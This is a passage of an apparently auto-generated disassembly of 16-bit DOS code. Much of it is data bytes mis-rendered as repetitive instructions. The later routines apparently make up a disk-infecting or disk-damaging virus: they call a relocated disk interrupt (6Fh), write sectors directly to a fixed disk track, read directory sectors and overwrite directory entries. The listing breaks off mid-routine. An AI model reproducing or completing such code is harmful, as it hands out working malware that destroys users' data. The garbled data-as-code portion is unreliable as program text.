- add [bx+si],al
-
- add [bx+si],al
-
- add [bp+si+0A8h],ch
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- add [bx+si],al
-
- or ch,[bp+si-5556h]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0161e
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bp+si],ch
-
- add byte ptr [bx+si],0
-
- add [bx+si],al
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0033e
-
- sub ch,[bp+si+2A00h]
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add ch,[bp+si+0A0h]
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bp+si+0A8h],ch
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0033e
-
- add [bx+si],al
-
- or ch,[bp+si-5556h]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0161e
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add byte ptr [bx+si],0
-
- add [bp+si],cl
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0033e
-
- add [bp+si],ch
-
- add [bp+si],ch
-
- add [bx+si],al
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0033e
-
- or ch,[bp+si+0A0h]
-
- add [bx+si],al
-
- or ch,[bx+si+0]
-
- nop ;*ASM fixup - displacement
-
- nop ;*ASM fixup - sign extn byte
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- or ch,[bp+si+0A8h]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- add [bp+si],cl
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- mov al,byte ptr ds:[2800h]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bp+si],cl
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0161e
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0033e
-
- or ch,[bp+si+0A0h]
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bp+si+0A8h],ch
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- or ch,[bp+si-5556h]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0161e
-
- mov al,ds:data_0033e
-
- add [bx+si],al
-
- or ch,[bp+si+80h]
-
- add [bx+si],al
-
- add ch,[bp+si-5556h]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],2Ah ; '*'
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0033e
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- add [bp+si],cl
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0161e
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- add [bp+si],cl
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- mov al,byte ptr ds:[0F600h]
-
- and ax,28h
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bp+si],cl
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- mov al,byte ptr ds:[2800h]
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- mov al,byte ptr ds:[0AA0Ah]
-
- add byte ptr [bx+si],0
-
- add [bx+si],al
-
- add [bx+si],al
-
- add ch,[bp+si+0AAh]
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0181e
-
- add [bx+si],al
-
- add [bp+si-5556h],ch
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bp+si+0A8h],ch
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bp+si],cl
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0161e
-
- mov al,ds:data_0182e
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- or ch,[bp+si+80h]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0033e
-
- add [bx+si],al
-
- sub ch,[bp+si+0]
-
- nop ;*ASM fixup - displacement
-
- nop ;*ASM fixup - sign extn byte
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0185e
-
- add byte ptr [bx+si],0
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bp+si+0A8h],ch
-
- add [bx+si],al
-
- add [bp+si+0AAh],ch
-
- or ch,[bp+si-5556h]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0161e
-
- stosb ; Store al to es:[di]
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- add [bx+si],al
-
- add [bx+si],al
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- add [bx+si],al
-
- sub ch,[bp+si+0]
-
- nop ;*ASM fixup - displacement
-
- nop ;*ASM fixup - sign extn byte
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- mov al,byte ptr ds:[0AA0Ah]
-
- mov al,ds:data_0033e
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bp+si+0A8h],ch
-
- add [bx+si],al
-
- add ch,[bp+si+0A8h]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- sub ch,[bp+si+0]
-
- nop ;*ASM fixup - displacement
-
- nop ;*ASM fixup - sign extn byte
-
- or ch,[bp+si-5556h]
-
- add byte ptr [bx+si],0
-
- add [bx+si],al
-
- add [bp+si],cl
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- add [bx+si],al
-
- add [bx+si],al
-
- sub ch,[bp+si+0]
-
- nop ;*ASM fixup - displacement
-
- nop ;*ASM fixup - sign extn byte
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0183e
-
- test al,0
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0033e
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- add [bx+si],al
-
- sub ch,[bp+si+0A0h]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- sub ch,[bp+si+0]
-
- nop ;*ASM fixup - displacement
-
- nop ;*ASM fixup - sign extn byte
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- add [bx+si],al
-
- add [bp+si-7F56h],ch
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0161e
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- sub ch,[bp+si+0]
-
- nop ;*ASM fixup - displacement
-
- nop ;*ASM fixup - sign extn byte
-
- add [bx+si],al
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- add [bx+si],al
-
- add ch,[bp+si+0AAh]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bp+si],cl
-
- stosb ; Store al to es:[di]
-
- mov al,byte ptr data_0041+40h ; (' ')
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- add ch,[bp+si+0A0h]
-
- or ch,[bp+si+0A0h]
-
- add [bp+si-5556h],ch
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0033e
-
- or ch,[bp+si-5556h]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0161e
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add [bx+si],al
-
- or ch,[bp+si+80h]
-
- mul byte ptr [si] ; ax = data * al
-
- sub [bx+si],al
-
- add [bx+si],al
-
- sub ch,[bp+si+200h]
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0033e
-
- add ch,[bp+si+0A8h]
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0033e
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- add [bx+si],al
-
- or ch,[bp+si-5556h]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0161e
-
- add byte ptr [bx+si],0
-
- add [bx+si],al
-
- or ch,[bp+si+80h]
-
- add [bx+si],al
-
- add ch,[bp+si-5556h]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],2Ah ; '*'
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0033e
-
- sub ch,[bp+si+80h]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0033e
-
- or ch,[bp+si-5556h]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0161e
-
- test al,0
-
- add [bx+si],al
-
- add [bp+si],cl
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- sub ch,[bp+si+0]
-
- nop ;*ASM fixup - displacement
-
- nop ;*ASM fixup - sign extn byte
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0033e
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bp+si+0A8h],ch
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- sub ch,[bp+si+0A0h]
-
- add [bx+si],al
-
- or ch,[bp+si+80h]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- sub ch,[bp+si+0]
-
- nop ;*ASM fixup - displacement
-
- nop ;*ASM fixup - sign extn byte
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- mov al,byte ptr data_0041+40h ; (' ')
-
- stosb ; Store al to es:[di]
-
- mov al,byte ptr data_0041+40h ; (' ')
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bp+si+0A8h],ch
-
- add [bx+si],al
-
- sub ch,[bp+si+0A0h]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- sub ch,[bp+si-7F56h]
-
- add [bx+si],al
-
- or ch,[bp+si+80h]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- sub ch,[bp+si+0]
-
- nop ;*ASM fixup - displacement
-
- nop ;*ASM fixup - sign extn byte
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0033e
-
- sub al,[bx+si+0]
-
- nop ;*ASM fixup - displacement
-
- nop ;*ASM fixup - sign extn byte
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- add [bx+si],al
-
- add ch,[bp+si+0A8h]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bp+si-5556h],ch
-
- add [bx+si],al
-
- or ch,[bp+si+80h]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- or ch,[bp+si+0A8h]
-
- add [bx+si],al
-
- sub ch,[bp+si+0]
-
- nop ;*ASM fixup - displacement
-
- nop ;*ASM fixup - sign extn byte
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0179e
-
- or [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0033e
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- add [bx+si],al
-
- add [bp+si+0AAh],ch
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bp+si],cl
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- or ch,[bp+si+80h]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- mov al,byte ptr ds:[0A00Ah]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add dh,dh
-
- and bp,[bx+si]
-
- add [bx+si],al
-
- push ax
-
- push bx
-
- push cx
-
- push dx
-
- cmp data_0045,1
-
- jne loc_0021 ; Jump if not equal
-
- cmp data_0044,0
-
- je loc_0022 ; Jump if equal
-
- loc_0021:
-
- xor ah,ah ; Zero register
-
- int 6Fh ; ??int non-standard interrupt
-
- jc loc_0022 ; Jump if carry Set
-
- mov dh,data_0044
-
- mov dl,byte ptr cs:[529h]
-
- mov cx,data_0045
-
- mov bx,200h
-
- mov ax,201h
-
- int 6Fh ; ??int non-standard interrupt
-
- loc_0022:
-
- pop dx
-
- pop cx
-
- pop bx
-
- pop ax
-
- retn
-
- sub_0003 endp
-
-
-
- db 50h, 53h, 51h, 52h, 32h
-
- dw 0CDE4h ; Data table (indexed access)
-
- db 6Fh
-
- dw 1272h ; Data table (indexed access)
-
- db 32h,0F6h, 2Eh, 8Ah, 16h, 29h
-
- db 05h,0B9h, 21h, 28h,0BBh, 00h
-
- db 02h,0B8h, 01h, 02h,0CDh, 6Fh
-
- db 5Ah, 59h, 5Bh, 58h,0C3h, 50h
-
- db 53h, 51h, 52h, 32h,0E4h,0CDh
-
- db 6Fh, 72h, 1Ah, 32h,0F6h, 8Ah
-
- db 16h, 29h, 05h,0B5h, 28h,0BBh
-
- db 7Ch, 06h,0B8h, 09h, 05h,0CDh
-
- db 6Fh, 73h, 05h,0F6h,0C4h, 82h
-
- db 75h, 03h
-
- db 0E8h, 29h, 00h
-
- db 5Ah, 59h, 5Bh, 58h,0C3h, 28h
-
- db 00h, 21h, 02h, 28h, 00h, 22h
-
- db 02h, 28h, 00h, 23h, 02h, 28h
-
- db 00h, 24h, 02h, 28h, 00h, 25h
-
- db 02h, 28h, 00h, 26h, 02h, 28h
-
- db 00h, 27h, 02h, 28h, 00h, 28h
-
- db 02h, 28h, 00h, 29h, 02h
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_0005 proc near
-
- push ax
-
- push bx
-
- push cx
-
- push dx
-
- xor ah,ah ; Zero register
-
- int 6Fh ; ??int non-standard interrupt
-
- jc loc_0026 ; Jump if carry Set
-
- xor dh,dh ; Zero register
-
- mov dl,byte ptr ds:[529h]
-
- mov cx,2821h
-
- mov bx,200h
-
- mov ax,309h
-
- int 6Fh ; ??int non-standard interrupt
-
- jnc loc_0025 ; Jump if carry=0
-
- test ah,82h
-
- jnz loc_0026 ; Jump if not zero
-
- loc_0025:
-
- xor bx,bx ; Zero register
-
- call sub_0006
-
- cmp cs:data_0050,3
-
- jb loc_0026 ; Jump if below
-
- call sub_0007
-
- loc_0026:
-
- pop dx
-
- pop cx
-
- pop bx
-
- pop ax
-
- retn
-
- sub_0005 endp
-
-
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_0006 proc near
-
- push ax
-
- push cx
-
- push dx
-
- xor ah,ah ; Zero register
-
- int 6Fh ; ??int non-standard interrupt
-
- jc loc_0027 ; Jump if carry Set
-
- xor dh,dh ; Zero register
-
- mov dl,byte ptr cs:[529h]
-
- mov cx,1
-
- mov ax,301h
-
- int 6Fh ; ??int non-standard interrupt
-
- loc_0027:
-
- pop dx
-
- pop cx
-
- pop ax
-
- retn
-
- sub_0006 endp
-
-
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_0007 proc near
-
- ;* jmp short loc_0028 ;*
-
- db 0EBh, 10h
-
- nop
-
- pop cx
-
- stc ; Set carry flag
-
- inc bx
-
- stc ; Set carry flag
-
- xor cx,di
-
- inc bp
-
- stc ; Set carry flag
-
- push dx
-
- stc ; Set carry flag
-
- push ax
-
- add [bx+si],al
-
- push es
-
- add [bx+si+53h],dx
-
- push cx
-
- push dx
-
- push ds
-
- push es
-
- push si
-
- push di
-
- mov al,byte ptr ds:[529h]
-
- mov byte ptr ds:[701h],al
-
- mov byte ptr ds:[704h],1
-
- mov byte ptr ds:[702h],0
-
- mov byte ptr ds:[703h],6
-
- loc_0029:
-
- mov dh,byte ptr ds:[702h]
-
- mov dl,byte ptr ds:[701h]
-
- xor ch,ch ; Zero register
-
- mov cl,byte ptr ds:[703h]
-
- lea bx,cs:[1277h] ; Load effective addr
-
- mov ax,201h
-
- int 6Fh ; ??int non-standard interrupt
-
- xor bx,bx ; Zero register
-
- loc_0030:
-
- mov al,byte ptr ds:[1282h][bx]
-
- test al,8
-
- jz loc_0031 ; Jump if zero
-
- or byte ptr ds:[1282h][bx],9
-
- lea si,ds:[6F6h] ; Load effective addr
-
- lea di,[bx+1277h] ; Load effective addr
-
- mov cx,0Bh
-
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
-
- xor al,al ; Zero register
-
- lea di,[bx+1283h] ; Load effective addr
-
- mov cx,14h
-
- stosb ; Store al to es:[di]
-
- call sub_0008
-
- jmp short loc_0035
-
- db 90h
-
- loc_0031:
-
- add bx,20h
